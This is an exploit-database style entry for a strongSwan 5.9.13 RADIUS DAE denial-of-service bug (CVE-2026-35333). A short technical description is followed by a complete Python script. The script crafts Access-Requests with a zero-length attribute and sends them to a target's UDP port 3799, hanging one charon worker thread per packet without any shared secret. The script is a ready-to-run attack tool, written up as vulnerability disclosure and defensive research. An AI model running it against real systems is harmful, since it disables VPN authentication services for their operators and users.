📄 strongSwan 5.9.13 Denial of Service

# Exploit Title: strongSwan 5.9.13 - DoS
    # Date: 2026-05-13
    # Exploit Author: Lukas Johannes Moeller
    # Vendor Homepage: https://www.strongswan.org/
    # Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2
    # Version: strongSwan <= 5.9.13 (eap-radius plugin built with DAE enabled)
    # Tested on: Debian 12 bookworm, charon 5.9.13 built from upstream tarball,
    #            strongswan.conf charon.plugins.eap-radius.dae.enable = yes,
    #            listener bound on UDP/3799
    # CVE: CVE-2026-35333
    # References:
    #   https://github.com/strongswan/strongswan/commit/e067d24293
    #   https://nvd.nist.gov/vuln/detail/CVE-2026-35333
    #   https://github.com/JohannesLks/CVE-2026-35333
    #
    # Description:
    #   attribute_enumerate() in src/libradius/radius_message.c walks the
    #   attribute list of a RADIUS message without rejecting an attribute
    #   whose length byte is 0. For length == 0, this->next never advances
    #   and the per-attribute length computation `this->next->length -
    #   sizeof(rattr_t)` underflows to (size_t)-2. The result is an
    #   infinite loop pegging one charon worker thread at 100% CPU.
    #
    #   The reachability detail that turns this into a pre-auth bug:
    #   radius_message_t::verify() uses the SAME broken iterator to find
    #   Message-Authenticator BEFORE the Response-Authenticator MD5 check
    #   is applied. For RADIUS code 1 (Access-Request) verify() skips the
    #   MD5 check entirely. So a malformed Access-Request with a single
    #   zero-length attribute as its first attribute traps the worker
    #   thread without any knowledge of the DAE shared secret.
    #
    #   N packets exhaust N worker threads -> full DAE denial of service.
    #
    # Usage:
    #   python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1
    #   python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1 --count 8
    #
    # Observe on the target:
    #   ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd
    #   -> one or more threads in state R at ~100% CPU, never returning.
    #
    # Disclaimer:
    #   For authorized testing and defensive research only. Do not use
    #   against systems you do not own or have explicit permission to test.
    
    import argparse
    import os
    import socket
    import struct
    import sys
    import time
    
    ACCESS_REQUEST = 1
    RAT_USER_NAME  = 1
    
    
    def build_zero_length_attr_packet() -> bytes:
        identifier    = os.urandom(1)[0]
        authenticator = os.urandom(16)
    
        # 20-byte RADIUS header + 2-byte attribute (type=User-Name, length=0)
        total_len = 22
        header = struct.pack("!BBH16s",
                             ACCESS_REQUEST,
                             identifier,
                             total_len,
                             authenticator)
        attribute = struct.pack("!BB", RAT_USER_NAME, 0)
        return header + attribute
    
    
    def send_packet(packet: bytes, target: str, port: int, wait: float) -> None:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(wait)
        sock.sendto(packet, (target, port))
        print(f"[+] sent {len(packet)} bytes to {target}:{port}/udp")
        try:
            data, addr = sock.recvfrom(4096)
            print(f"[-] unexpected response {len(data)} bytes from {addr}:"
                  f" {data[:32].hex()}")
        except socket.timeout:
            print(f"[+] no response within {wait:.1f}s -- expected for hung worker")
        finally:
            sock.close()
    
    
    def main() -> int:
        p = argparse.ArgumentParser(
            description="CVE-2026-35333 strongSwan RADIUS DAE pre-auth DoS"
        )
        p.add_argument("--target", required=True,
                       help="DAE listener IPv4 address (e.g. 10.0.0.1)")
        p.add_argument("--port", type=int, default=3799,
                       help="DAE listener UDP port (default: 3799)")
        p.add_argument("--count", type=int, default=1,
                       help="Number of crafted packets to send (default: 1)")
        p.add_argument("--wait", type=float, default=2.0,
                       help="Per-packet response timeout in seconds (default: 2.0)")
        args = p.parse_args()
    
        payload = build_zero_length_attr_packet()
        for i in range(args.count):
            print(f"\n[*] crafted packet #{i + 1}: Access-Request with "
                  "zero-length User-Name attribute")
            send_packet(payload, args.target, args.port, args.wait)
            time.sleep(0.2)
    
        print("\n[+] done; expected effect: one charon worker thread per packet "
              "stuck at 100% CPU.")
        print("    Verify on the target with:  ps -L -p $(pidof charon) "
              "-o tid,pcpu,stat,wchan:25,cmd")
        return 0
    
    
    if __name__ == "__main__":
        sys.exit(main())